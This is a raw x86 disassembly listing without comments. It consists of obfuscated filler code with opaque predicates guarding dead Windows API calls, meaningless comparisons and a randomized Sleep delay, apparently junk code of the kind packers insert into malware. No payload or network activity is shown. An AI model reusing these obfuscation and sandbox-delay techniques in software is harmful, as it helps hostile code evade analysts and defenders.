mov ecx, dword [ebp - 0xa4]
mov dword [ebp + eax - 0x33f8], ecx
lea ecx, [ebp - 0x69c]
call fcn.00430203
mov dword [ebp - 0x538], 3
jmp 0x47c174
cmp dword [ebp - 0x538], 0x13
jle 0x47cbe2
mov dword [ebp - 0xf0], 0x9e57ad95
mov dword [ebp - 0xa58], 0xffffffff
push 3
lea ecx, [ebp - 0x2b6c]
call fcn.00430131
mov dword [ebp - 0x1e0], 0
jmp 0x47c1bb
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 1
jge 0x47c1d7
mov eax, dword [ebp - 0x1e0]
mov dword [ebp + eax*4 - 0x540], 0xc204e2db
jmp 0x47c1ae
mov dword [ebp - 0x1e0], 0
jmp 0x47c1f0
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 3
jge 0x47c212
push dword [ebp - 0x1e0]
lea ecx, [ebp - 0x2b6c]
call fcn.0043021f
mov dword [eax], 0x2932384
jmp 0x47c1e3
mov dword [ebp - 0xf0], 0
jmp 0x47c22b
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0
jg 0x47c52e
mov dword [ebp - 0x2bb8], 0xb221494f
mov dword [ebp - 0x2bb4], 0xb221494f
mov dword [ebp - 0x2bb0], 0xb221494f
mov dword [ebp - 0x2bac], 0xb221494f
mov dword [ebp - 0x25b0], 0x44fc37f2
mov dword [ebp - 0xa58], 1
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp + eax*4 - 0x540]
cmp eax, dword [ebp - 0xa58]
je 0x47c514
push 3
lea ecx, [ebp - 0x263c]
call fcn.00430131
mov dword [ebp - 0x2384], 0xf3cf
mov dword [ebp - 0x105c], 0
mov dword [ebp - 0x920], 0
jmp 0x47c2c7
mov eax, dword [ebp - 0x920]
inc eax
mov dword [ebp - 0x920], eax
cmp dword [ebp - 0x920], 3
jge 0x47c2e6
push dword [ebp - 0x920]
lea ecx, [ebp - 0x263c]
call fcn.0043021f
and dword [eax], 0
jmp 0x47c2ba
or eax, 0xffffffff
sub eax, dword [ebp - 0x2384]
cmp eax, 0x29207965
je 0x47c302
mov dword [ebp - 0x1838], 1
jmp 0x47c309
and dword [ebp - 0x1838], 0
mov eax, dword [ebp - 0x1838]
sub eax, dword [ebp - 0xf0]
imul eax, eax, 0xffffffff
test eax, eax
jb 0x47c328
mov dword [ebp - 0x1ff8], 1
jmp 0x47c32f
and dword [ebp - 0x1ff8], 0
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp + eax*4 - 0x540]
cmp dword [ebp - 0x1ff8], eax
jg 0x47c350
mov dword [ebp - 0x1840], 1
jmp 0x47c357
and dword [ebp - 0x1840], 0
push 1
lea ecx, [ebp - 0x263c]
call fcn.0043021f
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1840]
jne 0x47c37c
xor eax, eax
inc eax
jne 0x47c37c
mov dword [ebp - 0x1c40], 1
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp + eax*4 - 0x540]
cmp dword [ebp - 0x1c40], eax
jne 0x47c3a7
mov dword [ebp - 0x2394], 7
cmp dword [ebp - 0x2394], 0
je 0x47c529
jmp 0x47c52e
jmp 0x47c21e
mov byte [ebp - 0x3bb], 0
movzx eax, byte [ebp - 0x3bb]
test eax, eax
je 0x47c548
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
lea ecx, [ebp - 0x2b6c]
call fcn.00430203
mov dword [ebp - 0x35c], 0xffffffff
mov dword [ebp - 0x240], 0xcb8
mov dword [ebp - 0xb7c], 0xfffffffc
mov dword [ebp - 0x10b4], 1
mov dword [ebp - 0x928], 0x255ebda1
mov dword [ebp - 0x2660], 0xfffffffd
cmp dword [ebp - 0x240], 0xa3c0bf90
je 0x47c5a7
mov dword [ebp - 0x109c], 1
jmp 0x47c5ae
and dword [ebp - 0x109c], 0
mov eax, dword [ebp - 0x240]
sub eax, 0x704f4bb4
cmp eax, 6
jle 0x47c5d0
cmp dword [ebp - 0x240], 0
jne 0x47c5d0
and dword [ebp - 0x24f8], 0
jmp 0x47c5da
mov dword [ebp - 0x24f8], 1
mov eax, dword [ebp - 0xb7c]
mov dword [ebp - 0x2fec], eax
cmp dword [ebp - 0x240], 0
jne 0x47c601
cmp dword [ebp - 0x10b4], 0
jne 0x47c601
and dword [ebp - 0x108c], 0
jmp 0x47c60b
mov dword [ebp - 0x108c], 1
cmp dword [ebp - 0x108c], 0xa82e77e8
je 0x47c623
mov dword [ebp - 0x1094], 1
jmp 0x47c62a
and dword [ebp - 0x1094], 0
mov eax, dword [ebp - 0x1094]
mov dword [ebp - 0x928], eax
cmp dword [ebp - 0x928], 1
jne 0x47c64b
mov dword [ebp - 0x10a4], 1
jmp 0x47c652
and dword [ebp - 0x10a4], 0
mov eax, dword [ebp - 0x109c]
cmp eax, dword [ebp - 0x10a4]
jg 0x47c66c
mov dword [ebp - 0x10ac], 1
jmp 0x47c673
and dword [ebp - 0x10ac], 0
mov eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0x10ac]
jne 0x47c696
jmp 0x47a605
lea ecx, [ebp - 0x264c]
call fcn.00430203
push 1
lea ecx, [ebp - 0x265c]
call fcn.00430131
mov dword [ebp - 0x938], 0xac453072
mov dword [ebp - 0x2104], 0x884c
mov dword [ebp - 0x158], 0
jmp 0x47cc2c
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 2
jge 0x47cc48
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x3578], 0x3342eb9
jmp 0x47cc1f
mov dword [ebp - 0x158], 0
jmp 0x47cc61
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 1
jge 0x47cc83
push dword [ebp - 0x158]
lea ecx, [ebp - 0x265c]
call fcn.0043021f
mov dword [eax], 0x2cb13638
jmp 0x47cc54
push 0
lea ecx, [ebp - 0x265c]
call fcn.0043021f
and dword [eax], 0
jmp 0x47ccb9
push 0
lea ecx, [ebp - 0x265c]
call fcn.0043021f
mov dword [ebp - 0x1164], eax
mov eax, dword [ebp - 0x1164]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1164]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x265c]
call fcn.0043021f
cmp dword [eax], 1
jg 0x47ccf6
mov byte [ebp - 0x31d], 0
movzx eax, byte [ebp - 0x31d]
test eax, eax
je 0x47ccf4
push 0x31f
push 0x25a5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
jmp 0x47cc95
mov dword [ebp - 0x938], 0xfffffff0
jmp 0x47cd0f
mov eax, dword [ebp - 0x938]
dec eax
mov dword [ebp - 0x938], eax
cmp dword [ebp - 0x938], 0xffffffec
je 0x47cdc1
mov dword [ebp - 0x9e0], 0xc7516a20
mov dword [ebp - 0x116c], 0xd68f985
mov eax, dword [ebp - 0x2104]
mov dword [ebp - 0x3004], eax
mov eax, dword [ebp - 0x9e0]
mov dword [ebp - 0x116c], eax
imul eax, dword [ebp - 0x116c], 0x5833
cmp eax, 0xffffffff
jge 0x47cd63
mov dword [ebp - 0x1174], 1
jmp 0x47cd6a
and dword [ebp - 0x1174], 0
imul eax, dword [ebp - 0x9e0], 0x4bc9
cmp eax, dword [ebp - 0x1174]
jne 0x47cd88
mov dword [ebp - 0x117c], 1
jmp 0x47cd8f
and dword [ebp - 0x117c], 0
mov eax, dword [ebp - 0x9e0]
cmp eax, dword [ebp - 0x117c]
jne 0x47cda9
mov dword [ebp - 0x1184], 1
jmp 0x47cdb0
and dword [ebp - 0x1184], 0
mov eax, dword [ebp - 0x1184]
mov dword [ebp - 0x9e0], eax
jmp 0x47cd02
lea ecx, [ebp - 0x265c]
call fcn.00430203
call fcn.00487982
cdq
push 3
pop ecx
idiv ecx
add edx, 3
imul eax, edx, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4845e5
mov dword [ebp - 0x2d40], 0xe2db58e4
mov dword [ebp - 0x32b0], 0
mov dword [ebp - 0x2d48], 1
mov dword [ebp - 0x118c], 0xfffffffe
mov dword [ebp - 0x940], 0
jmp 0x47ce2d
mov eax, dword [ebp - 0x940]
inc eax
mov dword [ebp - 0x940], eax
cmp dword [ebp - 0x940], 1
jge 0x47ce49
mov eax, dword [ebp - 0x940]
mov dword [ebp + eax*4 - 0x300c], 5
jmp 0x47ce20
mov eax, dword [ebp - 0x118c]
dec eax
mov dword [ebp - 0x118c], eax
mov byte [ebp - 0x3bf], 0
movzx eax, byte [ebp - 0x3bf]
test eax, eax
je 0x47ce88
push 0x114e
push 0xc14
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
mov dword [ebp - 0x550], 0x8c6a53d0
mov dword [ebp - 0x550], 0xffffffe6
jmp 0x47ceab
mov eax, dword [ebp - 0x550]
inc eax
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 0x10
jg 0x47cfa2
mov dword [ebp - 0x248], 0xf4288a13
mov dword [ebp - 0x248], 9
jmp 0x47cedb
mov eax, dword [ebp - 0x248]
dec eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0xffffffff
jge 0x47cf4e
push 1
lea ecx, [ebp - 0x29b0]
call fcn.00430131
mov dword [ebp - 0xa70], 0
jmp 0x47cf0a
mov eax, dword [ebp - 0xa70]
inc eax
mov dword [ebp - 0xa70], eax
cmp dword [ebp - 0xa70], 1
jge 0x47cf2c
push dword [ebp - 0xa70]
lea ecx, [ebp - 0x29b0]
call fcn.0043021f
mov dword [eax], 0x8306
jmp 0x47cefd
mov esi, dword [ebp - 0x550]
push 0
lea ecx, [ebp - 0x29b0]
call fcn.0043021f
mov dword [eax], esi
lea ecx, [ebp - 0x29b0]
call fcn.00430203
jmp 0x47cece
mov dword [ebp - 0x248], 0xfffffff9
jmp 0x47cf67
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
jl 0x47cf9d
mov byte [ebp - 0x325], 0
movzx eax, byte [ebp - 0x325]
test eax, eax
je 0x47cf9b
push 0x1215
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
jmp 0x47cf5a
jmp 0x47ce9e
push 2
lea ecx, [ebp - 0x27a4]
call fcn.00430131
mov dword [ebp - 0xb78], 0
mov dword [ebp - 0xb74], 0
mov dword [ebp - 0xb70], 0
mov dword [ebp - 0xb6c], 0
mov dword [ebp - 0x11b4], 0xa9cea445
mov dword [ebp - 0x948], 0
jmp 0x47cffa
mov eax, dword [ebp - 0x948]
inc eax
mov dword [ebp - 0x948], eax
cmp dword [ebp - 0x948], 2
jge 0x47d01c
push dword [ebp - 0x948]
lea ecx, [ebp - 0x27a4]
call fcn.0043021f
mov dword [eax], 0xfffffffe
jmp 0x47cfed
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xb78], 0
jmp 0x47d04a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb78]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xb78], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb78], 1
jg 0x47d334
mov dword [ebp - 0x11dc], 0x8421705
push 2
lea ecx, [ebp - 0x2ac4]
call fcn.00430131
mov dword [ebp - 0x160], 0
jmp 0x47d08e
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 3
jge 0x47d0aa
mov eax, dword [ebp - 0x160]
mov dword [ebp + eax*4 - 0x1fd4], 0xd0357257
jmp 0x47d081
mov dword [ebp - 0x160], 0
jmp 0x47d0c3
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 2
jge 0x47d0e2
push dword [ebp - 0x160]
lea ecx, [ebp - 0x2ac4]
call fcn.0043021f
or dword [eax], 0xffffffff
jmp 0x47d0b6
mov byte [ebp - 0x3c1], 0
movzx eax, byte [ebp - 0x3c1]
test eax, eax
je 0x47d0fa
call dword [sym.imp.USER32.dll_GetMessageTime]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fd4]
mov dword [ebp - 0x2d50], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xb78], 0
jne 0x47d136
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1fd4], 0
jne 0x47d136
and dword [ebp - 0x1194], 0
jmp 0x47d140
mov dword [ebp - 0x1194], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fd4]
cmp dword [ebp - 0x1194], eax
je 0x47d161
mov dword [ebp - 0x119c], 1
jmp 0x47d168
and dword [ebp - 0x119c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb78]
cmp dword [ebp - 0x119c], eax
jne 0x47d188
mov dword [ebp - 0x11a4], 1
jmp 0x47d18f
and dword [ebp - 0x11a4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fd4]
cmp dword [ebp - 0x11a4], eax
jle 0x47d1b0
mov dword [ebp - 0x11ac], 1
jmp 0x47d1b7
and dword [ebp - 0x11ac], 0
mov eax, dword [ebp - 0x11ac]
mov dword [ebp - 0x11b4], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb78]
cmp dword [ebp - 0x11b4], eax
je 0x47d1e3
mov dword [ebp - 0x11bc], 1
jmp 0x47d1ea
and dword [ebp - 0x11bc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb78]
cmp dword [ebp - 0x11bc], eax
jle 0x47d20b
mov dword [ebp - 0x11c4], 1
jmp 0x47d212
and dword [ebp - 0x11c4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fd4]
cmp dword [ebp - 0x11c4], eax
jge 0x47d233
mov dword [ebp - 0x11d4], 1
jmp 0x47d23a
and dword [ebp - 0x11d4], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0xb78]
lea ecx, [ebp - 0x27a4]
call fcn.0043021f
mov dword [ebp - 0x11cc], eax
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0xb78]
lea ecx, [ebp - 0x27a4]
call fcn.0043021f
mov ecx, dword [ebp - 0x11cc]
mov eax, dword [eax]
mov dword [ecx], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x11cc]
mov eax, dword [ebp + eax - 0xb78]
imul eax, dword [ecx]
mov dword [ebp - 0x11dc], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x11d4]
sub ecx, dword [ebp + eax - 0xb78]
cmp dword [ebp - 0x11dc], ecx
jg 0x47d2bc
mov dword [ebp - 0x11e4], 1
jmp 0x47d2c3
and dword [ebp - 0x11e4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1fd4]
cmp dword [ebp - 0x11e4], eax
jne 0x47d2e4
mov dword [ebp - 0x11ec], 1
jmp 0x47d2eb
and dword [ebp - 0x11ec], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x11ec]
mov dword [ebp + eax - 0x1fd4], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fd4]
mov dword [ebp - 0x3220], eax
push 0
lea ecx, [ebp - 0x2ac4]
call fcn.0043021f
mov dword [eax], 0x4d91f06e
lea ecx, [ebp - 0x2ac4]
call fcn.00430203
jmp 0x47d02f
lea ecx, [ebp - 0x27a4]
call fcn.00430203
mov dword [ebp - 0x9f8], 0xffffffff
mov dword [ebp - 0x23b0], 0x647c2c9e
mov dword [ebp - 0x23ac], 0x647c2c9e
mov dword [ebp - 0x23a8], 0x647c2c9e
mov dword [ebp - 0x23a4], 0x647c2c9e
mov dword [ebp - 0x168], 0xfffffffb
mov dword [ebp - 0x430], 5
mov dword [ebp - 0x1224], 0
mov dword [ebp - 0x2108], 1
mov dword [ebp - 0x2d58], 0xfffffffd
mov dword [ebp - 0x9e8], 0
jmp 0x47d3bc
mov eax, dword [ebp - 0x9e8]
inc eax
mov dword [ebp - 0x9e8], eax
cmp dword [ebp - 0x9e8], 1
jge 0x47d3d8
mov eax, dword [ebp - 0x9e8]
mov dword [ebp + eax*4 - 0x36c], 0
jmp 0x47d3af
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x36c], 0xfffffff2
jmp 0x47d406
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x36c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x36c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x36c], 0xffffffe9
jl 0x47d5b1
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x11fc], 0x99a5671
mov dword [ebp - 0x1204], 6
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0x3014], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x23b0]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0
jne 0x47d4e6
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x364]
cmp dword [ebp + eax - 0x23b0], ecx
jge 0x47d48d
mov dword [ebp - 0x11f4], 1
jmp 0x47d494
and dword [ebp - 0x11f4], 0
mov eax, dword [ebp - 0x11f4]
mov dword [ebp - 0x11fc], eax
mov eax, dword [ebp - 0x11fc]
mov dword [ebp - 0x1204], eax
mov eax, dword [ebp - 0x364]
cmp dword [ebp - 0x1204], eax
jg 0x47d4c6
mov dword [ebp - 0x120c], 1
jmp 0x47d4cd
and dword [ebp - 0x120c], 0
mov eax, dword [ebp - 0x120c]
sub eax, dword [ebp - 0x364]
neg eax
jne 0x47d4e6
and dword [ebp - 0x1214], 0
jmp 0x47d4f0
mov dword [ebp - 0x1214], 1
cmp dword [ebp - 0x1214], 0x16aac895
je 0x47d508
mov dword [ebp - 0x121c], 1
jmp 0x47d50f
and dword [ebp - 0x121c], 0
mov eax, dword [ebp - 0x121c]
mov dword [ebp - 0x1224], eax
mov eax, dword [ebp - 0x364]
cmp dword [ebp - 0x1224], eax
jge 0x47d535
mov dword [ebp - 0x122c], 1
jmp 0x47d53c
and dword [ebp - 0x122c], 0
mov eax, 0x31d8b9db
sub eax, dword [ebp - 0x122c]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x23b0]
jge 0x47d561
mov dword [ebp - 0x1234], 1
jmp 0x47d568
and dword [ebp - 0x1234], 0
mov eax, dword [ebp - 0x364]
imul eax, dword [ebp - 0x1234]
push 4
pop ecx
imul ecx, ecx, 3
add eax, dword [ebp + ecx - 0x23b0]
je 0x47d599
cmp dword [ebp - 0x364], 0
je 0x47d599
mov dword [ebp - 0x123c], 1
jmp 0x47d5a0
and dword [ebp - 0x123c], 0
mov eax, dword [ebp - 0x123c]
mov dword [ebp - 0x2108], eax
jmp 0x47d3eb
mov dword [ebp - 0x430], 0
jmp 0x47d5ca
mov eax, dword [ebp - 0x430]
dec eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0xffffffee
jg 0x47d6a1
mov dword [ebp - 0x2110], 0x2e0f6194
mov dword [ebp - 0x168], 0
jmp 0x47d5fa
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jg 0x47d676
xor eax, eax
inc eax
je 0x47d624
mov eax, dword [ebp - 0x168]
cmp dword [ebp + eax*4 - 0x36c], 1
jbe 0x47d624
mov dword [ebp - 0x1244], 1
jmp 0x47d62b
and dword [ebp - 0x1244], 0
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp + eax*4 - 0x36c]
cmp eax, dword [ebp - 0x1244]
jg 0x47d64e
xor eax, eax
inc eax
jne 0x47d64e
and dword [ebp - 0x124c], 0
jmp 0x47d658
mov dword [ebp - 0x124c], 1
mov eax, dword [ebp - 0x124c]
sub eax, dword [ebp - 0x2110]
mov ecx, dword [ebp - 0x168]
mov dword [ebp + ecx*4 - 0x36c], eax
jmp 0x47d5ed
mov byte [ebp - 0x32d], 0
movzx eax, byte [ebp - 0x32d]
test eax, eax
je 0x47d69c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
jmp 0x47d5bd
mov dword [ebp - 0x2d60], 0xe17ca002
push 2
lea ecx, [ebp - 0x29c8]
call fcn.00430131
mov dword [ebp - 0x560], 0x8c45cdbe
mov dword [ebp - 0x1254], 0xfffffff6
mov dword [ebp - 0x950], 0
jmp 0x47d6e5
mov eax, dword [ebp - 0x950]
inc eax
mov dword [ebp - 0x950], eax
cmp dword [ebp - 0x950], 2
jge 0x47d707
push dword [ebp - 0x950]
lea ecx, [ebp - 0x29c8]
call fcn.0043021f
mov dword [eax], 8
jmp 0x47d6d8
mov dword [ebp - 0x560], 0
jmp 0x47d720
mov eax, dword [ebp - 0x560]
inc eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 1
jg 0x47d7a4
mov dword [ebp - 0x558], 0x210b999f
mov dword [ebp - 0x558], 0
jmp 0x47d74c
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 1
jg 0x47d770
push dword [ebp - 0x558]
lea ecx, [ebp - 0x29c8]
call fcn.0043021f
mov eax, dword [eax]
mov dword [ebp - 0x1254], eax
jmp 0x47d73f
mov byte [ebp - 0x3c3], 0
movzx eax, byte [ebp - 0x3c3]
test eax, eax
je 0x47d79f
push 0
push 0xfff
push 0x50
push 0
push 0x2667
push 0xcc5
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x47d713
cmp dword [ebp - 0x1254], 0xffffffff
jl 0x47d7b9
mov dword [ebp - 0x125c], 1
jmp 0x47d7c0
and dword [ebp - 0x125c], 0
mov eax, dword [ebp - 0x125c]
mov dword [ebp - 0x560], eax
lea ecx, [ebp - 0x29c8]
call fcn.00430203
mov dword [ebp - 0x3320], 0xffffffff
mov dword [ebp - 0x568], 0x1f7e2799
mov dword [ebp - 0x2d68], 0xffffffff
mov dword [ebp - 0x40], 0
jmp 0x47d805
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x47d81b
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x3610], 1
jmp 0x47d7fe
mov dword [ebp - 0x40], 0
jmp 0x47d82b
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x47d841
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x3620], 1
jmp 0x47d824
mov dword [ebp - 0x40], 0
jmp 0x47d851
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jge 0x47d867
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1264], 8
jmp 0x47d84a
mov dword [ebp - 0x568], 0
jmp 0x47d880
mov eax, dword [ebp - 0x568]
inc eax
mov dword [ebp - 0x568], eax
cmp dword [ebp - 0x568], 0x1a
je 0x47da29
mov dword [ebp - 0xa38], 0
mov dword [ebp - 0x301c], 0xffffffff
mov dword [ebp - 0x170], 0
jmp 0x47d8ba
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 2
jge 0x47d8d6
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x34a0], 0xb72fd491
jmp 0x47d8ad
mov dword [ebp - 0x170], 0
jmp 0x47d8ef
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 1
jge 0x47d90b
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x2d70], 0xffffffff
jmp 0x47d8e2
mov dword [ebp - 0xa38], 0
jmp 0x47d924
mov eax, dword [ebp - 0xa38]
inc eax
mov dword [ebp - 0xa38], eax
cmp dword [ebp - 0xa38], 1
jg 0x47da19
mov dword [ebp - 0x3228], 0xffffffff
mov dword [ebp - 0x2d78], 0xfffffff7
mov dword [ebp - 0x3024], 0x1aae4b9a
push 3
lea ecx, [ebp - 0x3180]
call fcn.00430131
mov dword [ebp - 0x2d80], 0x5ab0
mov dword [ebp - 0x178], 0
jmp 0x47d97f
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 3
jge 0x47d99e
push dword [ebp - 0x178]
lea ecx, [ebp - 0x3180]
call fcn.0043021f
and dword [eax], 0
jmp 0x47d972
mov dword [ebp - 0x178], 0
jmp 0x47d9b7
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 2
jge 0x47d9d3
mov eax, dword [ebp - 0x178]
mov dword [ebp + eax*4 - 0x2888], 0x8b74
jmp 0x47d9aa
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1264]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1264], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2888]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2888], eax
lea ecx, [ebp - 0x3180]
call fcn.00430203
jmp 0x47d917
cmp dword [ebp - 0x568], 0
je 0x47da24
jmp 0x47da29
jmp 0x47d873
mov dword [ebp - 0x32b8], 0x38bea122
push 1
lea ecx, [ebp - 0x266c]
call fcn.00430131
mov dword [ebp - 0x958], 0xac453072
mov dword [ebp - 0x2118], 0x884c
mov dword [ebp - 0x180], 0
jmp 0x47da6d
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 2
jge 0x47da89
mov eax, dword [ebp - 0x180]
mov dword [ebp + eax*4 - 0x3558], 0x3342eb9
jmp 0x47da60
mov dword [ebp - 0x180], 0
jmp 0x47daa2
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 1
jge 0x47dac4
push dword [ebp - 0x180]
lea ecx, [ebp - 0x266c]
call fcn.0043021f
mov dword [eax], 0x2cb13638
jmp 0x47da95
push 0
lea ecx, [ebp - 0x266c]
call fcn.0043021f
and dword [eax], 0
jmp 0x47dafa
push 0
lea ecx, [ebp - 0x266c]
call fcn.0043021f
mov dword [ebp - 0x126c], eax
mov eax, dword [ebp - 0x126c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x126c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x266c]
call fcn.0043021f
cmp dword [eax], 1
jg 0x47db37
mov byte [ebp - 0x335], 0
movzx eax, byte [ebp - 0x335]
test eax, eax
je 0x47db35
push 0x31f
push 0x25a5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
jmp 0x47dad6
mov dword [ebp - 0x958], 0xfffffff0
jmp 0x47db50
mov eax, dword [ebp - 0x958]
dec eax
mov dword [ebp - 0x958], eax
cmp dword [ebp - 0x958], 0xffffffec
je 0x47dc02
mov dword [ebp - 0x9f0], 0xc7516a20
mov dword [ebp - 0x1274], 0xd68f985
mov eax, dword [ebp - 0x2118]
mov dword [ebp - 0x2d88], eax
mov eax, dword [ebp - 0x9f0]
mov dword [ebp - 0x1274], eax
imul eax, dword [ebp - 0x1274], 0x5833
cmp eax, 0xffffffff
jge 0x47dba4
mov dword [ebp - 0x127c], 1
jmp 0x47dbab
and dword [ebp - 0x127c], 0
imul eax, dword [ebp - 0x9f0], 0x4bc9
cmp eax, dword [ebp - 0x127c]
jne 0x47dbc9
mov dword [ebp - 0x1284], 1
jmp 0x47dbd0
and dword [ebp - 0x1284], 0
mov eax, dword [ebp - 0x9f0]
cmp eax, dword [ebp - 0x1284]
jne 0x47dbea
mov dword [ebp - 0x128c], 1
jmp 0x47dbf1
and dword [ebp - 0x128c], 0
mov eax, dword [ebp - 0x128c]
mov dword [ebp - 0x9f0], eax
jmp 0x47db43
lea ecx, [ebp - 0x266c]
call fcn.00430203
mov dword [ebp - 0x302c], 0xfffffff9
mov dword [ebp - 0xa60], 0xd837bc75
mov dword [ebp - 0x960], 0
jmp 0x47dc3a
mov eax, dword [ebp - 0x960]
inc eax
mov dword [ebp - 0x960], eax
cmp dword [ebp - 0x960], 3
jge 0x47dc56
mov eax, dword [ebp - 0x960]
mov dword [ebp + eax*4 - 0x35d0], 0x624039b6
jmp 0x47dc2d
mov byte [ebp - 0x3c5], 0
movzx eax, byte [ebp - 0x3c5]
test eax, eax
je 0x47dc96
push 0
push 0x1954
push 0
push 0
push 0x1e41
push 0x10e5
push 0x1498
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
